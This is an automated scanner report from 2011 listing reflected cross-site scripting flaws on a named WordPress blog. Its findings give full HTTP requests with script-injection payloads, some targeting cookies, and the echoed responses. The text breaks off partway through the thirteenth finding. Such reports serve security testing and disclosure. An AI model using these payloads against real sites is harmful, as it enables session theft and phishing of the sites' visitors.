XSS, davidpoll.com, Cross Site Scripting, CWE-79, CAPEC-86

XSS in www.davidpoll.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Sun Jan 30 11:21:01 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ [REST URL parameter 4]

1.2. http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ [name of an arbitrarily supplied request parameter]

1.3. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 1]

1.4. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 2]

1.5. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 3]

1.6. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 4]

1.7. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 1]

1.8. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 2]

1.9. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 3]

1.10. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 4]

1.11. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 5]

1.12. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 1]

1.13. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 2]

1.14. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 3]

1.15. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 4]

1.16. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 1]

1.17. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 2]

1.18. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 3]

1.19. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 4]

2. Cookie without HttpOnly flag set

3. Cross-domain script include



1. Cross-site scripting (reflected)  next
There are 19 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ [REST URL parameter 4]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 492d1'><script>alert(1)</script>6033be6539a was submitted in the REST URL parameter 4. This input was echoed as 492d1\'><script>alert(1)</script>6033be6539a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1'><script>alert(1)</script>6033be6539a/ HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 29 Jan 2011 23:24:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=3a5cef17df808cf07e6579d534901881; path=/
Last-Modified: Sat, 29 Jan 2011 23:24:51 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29422

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1\'><script>alert(1)</script>6033be6539a/' hreflang='en' >
...[SNIP]...

1.2. http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload be141'><script>alert(1)</script>17b62cd0d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as be141\'><script>alert(1)</script>17b62cd0d2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/?be141'><script>alert(1)</script>17b62cd0d2=1 HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 29 Jan 2011 23:24:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Link: <http://www.davidpoll.com/?p=403>; rel=shortlink
Set-Cookie: PHPSESSID=a28e55f39dc8a2744271fd0ad7b381f0; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57076

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/?be141\'><script>alert(1)</script>17b62cd0d2=1' hreflang='en' >
...[SNIP]...

1.3. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/plugins/tweetable/main_css.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5ad37'><script>alert(1)</script>899882eab2b was submitted in the REST URL parameter 1. This input was echoed as 5ad37\'><script>alert(1)</script>899882eab2b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content5ad37'><script>alert(1)</script>899882eab2b/plugins/tweetable/main_css.css HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:22:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:22:34 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content5ad37\'><script>alert(1)</script>899882eab2b/plugins/tweetable/main_css.css' hreflang='en' >
...[SNIP]...

1.4. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/plugins/tweetable/main_css.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b1622'><script>alert(1)</script>60670df59c9 was submitted in the REST URL parameter 2. This input was echoed as b1622\'><script>alert(1)</script>60670df59c9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/pluginsb1622'><script>alert(1)</script>60670df59c9/tweetable/main_css.css HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:22:58 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:22:59 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/pluginsb1622\'><script>alert(1)</script>60670df59c9/tweetable/main_css.css' hreflang='en' >
...[SNIP]...

1.5. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/plugins/tweetable/main_css.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d9b3f'><script>alert(1)</script>fcedbfe1dcc was submitted in the REST URL parameter 3. This input was echoed as d9b3f\'><script>alert(1)</script>fcedbfe1dcc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/tweetabled9b3f'><script>alert(1)</script>fcedbfe1dcc/main_css.css HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:20 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/plugins/tweetabled9b3f\'><script>alert(1)</script>fcedbfe1dcc/main_css.css' hreflang='en' >
...[SNIP]...

1.6. http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/plugins/tweetable/main_css.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7a769'><script>alert(1)</script>42dc73b4f0d was submitted in the REST URL parameter 4. This input was echoed as 7a769\'><script>alert(1)</script>42dc73b4f0d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/tweetable/main_css.css7a769'><script>alert(1)</script>42dc73b4f0d HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:42 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/plugins/tweetable/main_css.css7a769\'><script>alert(1)</script>42dc73b4f0d' hreflang='en' >
...[SNIP]...

1.7. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/js/fusion.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 96d3c'><script>alert(1)</script>a88048e9c66 was submitted in the REST URL parameter 1. This input was echoed as 96d3c\'><script>alert(1)</script>a88048e9c66 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content96d3c'><script>alert(1)</script>a88048e9c66/themes/fusion/js/fusion.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:22:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:22:49 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content96d3c\'><script>alert(1)</script>a88048e9c66/themes/fusion/js/fusion.js' hreflang='en' >
...[SNIP]...

1.8. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/js/fusion.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f4af6'><script>alert(1)</script>94b0369aa was submitted in the REST URL parameter 2. This input was echoed as f4af6\'><script>alert(1)</script>94b0369aa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesf4af6'><script>alert(1)</script>94b0369aa/fusion/js/fusion.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:14 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28967

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themesf4af6\'><script>alert(1)</script>94b0369aa/fusion/js/fusion.js' hreflang='en' >
...[SNIP]...

1.9. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/js/fusion.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4de2c'><script>alert(1)</script>9f9243aaacf was submitted in the REST URL parameter 3. This input was echoed as 4de2c\'><script>alert(1)</script>9f9243aaacf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/fusion4de2c'><script>alert(1)</script>9f9243aaacf/js/fusion.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:30 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes/fusion4de2c\'><script>alert(1)</script>9f9243aaacf/js/fusion.js' hreflang='en' >
...[SNIP]...

1.10. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/js/fusion.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a3d83'><script>alert(1)</script>9a983a4fff9 was submitted in the REST URL parameter 4. This input was echoed as a3d83\'><script>alert(1)</script>9a983a4fff9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/fusion/jsa3d83'><script>alert(1)</script>9a983a4fff9/fusion.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:47 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes/fusion/jsa3d83\'><script>alert(1)</script>9a983a4fff9/fusion.js' hreflang='en' >
...[SNIP]...

1.11. http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/js/fusion.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7bac8'><script>alert(1)</script>5932159de94 was submitted in the REST URL parameter 5. This input was echoed as 7bac8\'><script>alert(1)</script>5932159de94 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/fusion/js/fusion.js7bac8'><script>alert(1)</script>5932159de94 HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:24:06 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:24:06 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes/fusion/js/fusion.js7bac8\'><script>alert(1)</script>5932159de94' hreflang='en' >
...[SNIP]...

1.12. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/style.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 50551'><script>alert(1)</script>bfed0d29885 was submitted in the REST URL parameter 1. This input was echoed as 50551\'><script>alert(1)</script>bfed0d29885 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content50551'><script>alert(1)</script>bfed0d29885/themes/fusion/style.css HTTP/1.1
Host: www.davidpoll.com
Proxy-Connection: keep-alive
Referer: http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6033be6539a/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=0327f22e76c677f66a17b5702dd9d632

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:35:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:35:39 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 28955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content50551\'><script>alert(1)</script>bfed0d29885/themes/fusion/style.css' hreflang='en' >
...[SNIP]...

1.13. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/style.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 16b66'><script>alert(1)</script>deb5d103fe9 was submitted in the REST URL parameter 2. This input was echoed as 16b66\'><script>alert(1)</script>deb5d103fe9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes16b66'><script>alert(1)</script>deb5d103fe9/fusion/style.css HTTP/1.1
Host: www.davidpoll.com
Proxy-Connection: keep-alive
Referer: http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6033be6539a/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=0327f22e76c677f66a17b5702dd9d632

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:36:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
